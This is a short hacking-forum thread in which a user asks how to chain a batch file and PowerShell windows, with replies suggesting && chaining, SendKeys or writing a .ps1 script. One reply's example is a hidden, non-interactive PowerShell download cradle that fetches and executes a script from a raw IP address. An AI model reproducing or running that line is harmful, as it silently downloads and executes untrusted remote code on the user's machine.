Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

bat file, powershell

hello, so i have to run a bat file that run a powershell and execute a powershell script that open another powershell, and i have to write in the new powershell that it opened but automated whit the same bat file how can i do that?
sorry for bad english
(Feb 26, 2021 08:07 AM)SIM-4924227 Wrote:  hello, so i have to run a bat file that run a powershell and execute a powershell script that open another powershell, and i have to write in the new powershell that it opened but automated whit the same bat file how can i do that?
sorry for bad english

Show us your codes ! ✌ 💯👍 and try to be more explicit to understand your aim !
You can run different functions from PS script. Add check for script args, for example.
in cmd, either as a .bat or just regular CMD/CLI window you can use the && command, which will than allow you to add another portion and just keep using the && until entire model you desire is achieved, example below


Code
c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://45.58.34.196:8080/p')" && c:\Windows\System32\cmd.exe /c powershell.exe -w hidden -noni -nop -c "iex(New-Object System.Net.WebClient).DownloadString('http://google.com:8080/p')" &&
echo A &&
echo B &&
echo finished

if you want to make a bat that opens a powershell window and literally writes to it automatically that can be achieved two ways, use the bat file to echo a VBSCRIPT that uses sendkeys function, and than execute it AFTER the bat file opens powershell, or simply just echo the commands directly to a .PS1 file than use cmd to execute powershell with that particular .PS1 File as argument....
it was hard to understand you but if that is what you mean than the above shall help
[Image: lolj.png]
not a single person has the time for that scenario


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by samir5000Mar 13, 2025 01:32 PM 3 326 Mar 13, 2025 01:32 PM
Last Post: Bastille
[Shell] by PELockDec 9, 2024 09:42 AM 3 658 Dec 9, 2024 09:42 AM
Last Post: PELock
[Source] by QismonNov 27, 2024 04:29 AM 2 307 Nov 27, 2024 04:29 AM
Last Post: mikeyp